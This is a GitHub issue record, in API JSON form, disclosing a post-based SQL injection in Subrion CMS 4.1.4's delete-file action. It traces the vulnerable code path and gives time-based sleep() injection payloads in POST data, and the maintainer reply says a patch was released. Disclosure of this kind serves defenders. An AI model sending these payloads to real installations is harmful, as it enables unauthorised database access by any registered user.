{"action":"created","issue":{"url":"https://api.github.com/repos/intelliants/subrion/issues/480","repository_url":"https://api.github.com/repos/intelliants/subrion","labels_url":"https://api.github.com/repos/intelliants/subrion/issues/480/labels{/name}","comments_url":"https://api.github.com/repos/intelliants/subrion/issues/480/comments","events_url":"https://api.github.com/repos/intelliants/subrion/issues/480/events","html_url":"https://github.com/intelliants/subrion/issues/480","id":239986471,"number":480,"title":"Subrion cms 4.1.4 sql injection in /front/actions.php","user":{"login":"jgj212","id":1484292,"avatar_url":"https://avatars1.githubusercontent.com/u/1484292?v=3","gravatar_id":"","url":"https://api.github.com/users/jgj212","html_url":"https://github.com/jgj212","followers_url":"https://api.github.com/users/jgj212/followers","following_url":"https://api.github.com/users/jgj212/following{/other_user}","gists_url":"https://api.github.com/users/jgj212/gists{/gist_id}","starred_url":"https://api.github.com/users/jgj212/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jgj212/subscriptions","organizations_url":"https://api.github.com/users/jgj212/orgs","repos_url":"https://api.github.com/users/jgj212/repos","events_url":"https://api.github.com/users/jgj212/events{/privacy}","received_events_url":"https://api.github.com/users/jgj212/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2017-07-02T03:34:12Z","updated_at":"2017-07-06T04:52:03Z","closed_at":"2017-07-06T04:52:03Z","body":"Subrion cms 4.1.4 sql injection in /front/actions.php\r\n\r\n\r\n## description\r\nSubrion cms 4.1.4 has a sql injection  because $POST\r\n\r\n## details\r\n\r\ncritical code in /front/actions.php, $POST is passed to deleteUploadedFile with no checking\r\n```\r\n        case 'delete-file':\r\n            if (!empty($_POST['item']) && !empty($_POST['itemid']) && !empty($_POST['field']) && !empty($_POST['file'])) {\r\n                $output = $iaCore->factory('field')->deleteUploadedFile($_POST['field'], $_POST['item'], $_POST['itemid'], $_POST['file'], true)\r\n                    ? ['error' => false, 'message' => iaLanguage::get('deleted')]\r\n                    : ['error' => true, 'message' => iaLanguage::get('error')];\r\n            }\r\n\r\n            break;\r\n\r\n```\r\n\r\ndeleteUploadedFile in /includes/classes/ia.core.field.php:\r\n```\r\n\tpublic function deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = null, $checkOwnership = false)\r\n    {\r\n        $tableName = $this->iaCore->factory('item')->getItemTable($itemName);\r\n\r\n        if ($checkOwnership) {\r\n            if (!iaUsers::hasIdentity()) {\r\n                return false;\r\n            }\r\n\r\n            $memberIdColumn = (iaUsers::getItemName() == $itemName) ? iaDb::ID_COLUMN_SELECTION : 'member_id';\r\n            $row = $this->iaDb->row([$memberIdColumn, $fieldName], iaDb::convertIds($itemId), $tableName);\r\n\r\n            if (!$row || iaUsers::getIdentity()->id != $row[$memberIdColumn]) {\r\n                return false;\r\n            }\r\n\r\n            $itemValue = $row[$fieldName];\r\n        } else {\r\n            $itemValue = $this->iaDb->one([$fieldName], iaDb::convertIds($itemId), $tableName);\r\n        }\r\n\r\n        //...more code...\r\n\r\n        return false;\r\n    }\r\n\r\n```\r\n\r\nThere is a checking \"checkOwnership\", it means that anonymous user will be blocked as \"return false\", but any registered user will continue. So $fileName will be passed to row, and it is from $_POST['field'].\r\n\r\nthe row function has the code, it purpose is to construct sql statement and excute with no checking:\r\n```\r\n    public function row($fields = self::ALL_COLUMNS_SELECTION, $condition = '', $tableName = null, $start = 0)\r\n    {\r\n        if (is_null($tableName)) {\r\n            $result = $this->_get('row', $fields, $condition, $start, 1);\r\n        } else {\r\n            $this->setTable($tableName);\r\n            $result = $this->_get('row', $fields, $condition, $start, 1);\r\n            $this->resetTable();\r\n        }\r\n\r\n        return $result;\r\n    }\r\n\r\n\t\r\n    protected function _get($type, $fields, $condition = '', $start = 0, $limit = null)\r\n    {\r\n        $stmtFields = $fields;\r\n\r\n        if (is_array($fields)) {\r\n            $stmtFields = '';\r\n            foreach ($fields as $key => $field) {\r\n                $stmtFields .= is_int($key)\r\n                    ? '`' . $field . '`'\r\n                    : sprintf('%s `%s`', is_numeric($field) ? $field : '`' . $field . '`', $key);\r\n                $stmtFields .= ', ';\r\n            }\r\n            $stmtFields = substr($stmtFields, 0, -2);\r\n        }\r\n\r\n        if ($condition) {\r\n            $condition = ' WHERE ' . $condition;\r\n        }\r\n        if ($limit && stripos($condition, 'limit') === false) {\r\n            $condition .= ' LIMIT ' . $start . ', ' . $limit;\r\n        }\r\n\r\n        $sql = 'SELECT ' . $stmtFields . ' FROM `' . $this->_table . '` ' . $condition;\r\n\r\n        switch ($type) {\r\n            case 'all':\r\n                return $this->getAll($sql);\r\n            case 'keyval':\r\n                return $this->getKeyValue($sql);\r\n            case 'assoc':\r\n                return $this->getAssoc($sql, true);\r\n            default:\r\n                return $this->getRow($sql);\r\n        }\r\n    }\r\n\t\r\n```\r\n\r\n\r\nSo there is a post-type sql injection, because this sql injection has no echo, we can use time-based sql injection to test with a normal user account.\r\n\r\n## sleep(0)\r\nurl: http://localhost/subrion/actions.json\r\npostdata: action=delete-file&item=members&itemid=1&field=email` or sleep(0) ,`username&file=123\r\ntime-echo: \r\n![time1](https://user-images.githubusercontent.com/1484292/27767049-439954da-5f1a-11e7-9f53-357d6bcc7283.png)\r\n\r\n\r\n## sleep(3)\r\nurl: http://localhost/subrion/actions.json\r\npostdata: action=delete-file&item=members&itemid=1&field=email` or sleep(3) ,`username&file=123\r\ntime-echo: \r\n![time3](https://user-images.githubusercontent.com/1484292/27767050-4ddde988-5f1a-11e7-8959-340845b9a829.png)\r\n\r\n\r\nCredit: ADLab of VenusTech\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/intelliants/subrion/issues/comments/313294514","html_url":"https://github.com/intelliants/subrion/issues/480#issuecomment-313294514","issue_url":"https://api.github.com/repos/intelliants/subrion/issues/480","id":313294514,"user":{"login":"Batry","id":15211855,"avatar_url":"https://avatars2.githubusercontent.com/u/15211855?v=3","gravatar_id":"","url":"https://api.github.com/users/Batry","html_url":"https://github.com/Batry","followers_url":"https://api.github.com/users/Batry/followers","following_url":"https://api.github.com/users/Batry/following{/other_user}","gists_url":"https://api.github.com/users/Batry/gists{/gist_id}","starred_url":"https://api.github.com/users/Batry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Batry/subscriptions","organizations_url":"https://api.github.com/users/Batry/orgs","repos_url":"https://api.github.com/users/Batry/repos","events_url":"https://api.github.com/users/Batry/events{/privacy}","received_events_url":"https://api.github.com/users/Batry/received_events","type":"User","site_admin":false},"created_at":"2017-07-06T04:52:03Z","updated_at":"2017-07-06T04:52:03Z","body":"Hello @jgj212! Many thanks for the report.\r\n\r\nFix provided and the critical upgrade patch has been released. It's automatically installed on each script and provides this fix to the script."}}
{"actor":{"display_login":"Batry"}}